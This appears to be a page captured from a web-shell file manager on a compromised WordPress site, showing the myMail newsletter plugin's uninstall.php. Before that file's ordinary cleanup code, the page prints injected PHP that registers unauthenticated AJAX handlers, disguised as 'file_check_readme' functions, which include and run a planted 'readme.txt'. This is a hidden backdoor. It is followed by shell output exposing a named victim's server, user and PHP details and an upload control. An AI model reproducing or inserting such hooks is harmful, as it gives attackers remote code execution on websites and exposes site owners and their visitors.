if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_20231107/wp-content/plugins/myMail/uninstall.php
<?php
/**
 *
 *
 * @author Xaver Birsak (https://revaxarts.com)
 * @package
 */


//if uninstall not called from WordPress exit
if ( !defined( 'WP_UNINSTALL_PLUGIN' ) ) {
	exit();
}

global $wpdb, $wp_roles;

if ( is_network_admin() && is_multisite() ) {

	$old_blog = $wpdb->blogid;
	$blogids = $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs" );

} else {

	$blogids = array( false );

}

foreach ( $blogids as $blog_id ) {

	if ( $blog_id ) {
		switch_to_blog( $blog_id );
	}

	$mymail_options = get_option( 'mymail_options' );
	//stop if data should be kept
	if ( !isset( $mymail_options['remove_data'] ) ) {
		continue;
	}

	$path = WP_PLUGIN_DIR . '/' . dirname( WP_UNINSTALL_PLUGIN );

	require $path . '/includes/capability.php';

	$roles = array_keys( $wp_roles->roles );
	$mymail_capabilities = array_keys( $mymail_capabilities );
	$mymail_capabilities = array_merge( $mymail_capabilities, array(
			'read_private_newsletters',
			'delete_private_newsletters',
			'delete_published_newsletters',
			'edit_private_newsletters',
			'edit_published_newsletters' )
	);

	foreach ( $roles as $role ) {
		$capabilities = $wp_roles->roles[$role]['capabilities'];
		foreach ( $capabilities as $capability => $has ) {
			if ( in_array( $capability, $mymail_capabilities ) ) {
				$wp_roles->remove_cap( $role, $capability );
			}

		}

	}

	$campaigns = get_posts( array(
			'posts_per_page' => -1,
			'post_type' => 'newsletter',
			'post_status' => 'any',
		) );

	if ( is_array( $campaigns ) ) {
		foreach ( $campaigns as $campaign ) {
			wp_delete_post( $campaign->ID, true );
		}
	}

	//remove all options
	$wpdb->query( "DELETE FROM `$wpdb->options` WHERE `$wpdb->options`.`option_name` LIKE '_transient_mymail_%'" );
	$wpdb->query( "DELETE FROM `$wpdb->options` WHERE `$wpdb->options`.`option_name` LIKE '_transient_timeout_mymail_%'" );
	$wpdb->query( "DELETE FROM `$wpdb->options` WHERE `$wpdb->options`.`option_name` LIKE '_transient__mymail_%'" );
	$wpdb->query( "DELETE FROM `$wpdb->options` WHERE `$wpdb->options`.`option_name` LIKE '_transient_timeout__mymail_%'" );
	$wpdb->query( "DELETE FROM `$wpdb->options` WHERE `$wpdb->options`.`option_name` LIKE '_transient_timeout__mymail_%'" );
	$wpdb->query( "DELETE FROM `$wpdb->options` WHERE `$wpdb->options`.`option_name` LIKE 'mymail_%'" );
	$wpdb->query( "DELETE FROM `$wpdb->options` WHERE `$wpdb->options`.`option_name` = 'mymail'" );

	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_actions" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_links" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_lists" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_lists_subscribers" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_queue" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_subscribers" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_subscriber_fields" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_subscriber_meta" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_forms" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_forms_lists" );
	$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}mymail_form_fields" );

	//optimize DB
	$wpdb->query( "OPTIMIZE TABLE `$wpdb->options`" );

	//remove folder in the upload directory
	global $wp_filesystem;
	$upload_folder = wp_upload_dir();

	if ( $wp_filesystem ) {
		$wp_filesystem->delete( trailingslashit( $upload_folder['basedir'] ) . 'myMail', true );
	}

}

if ( $blog_id ) {
	switch_to_blog( $old_blog );
}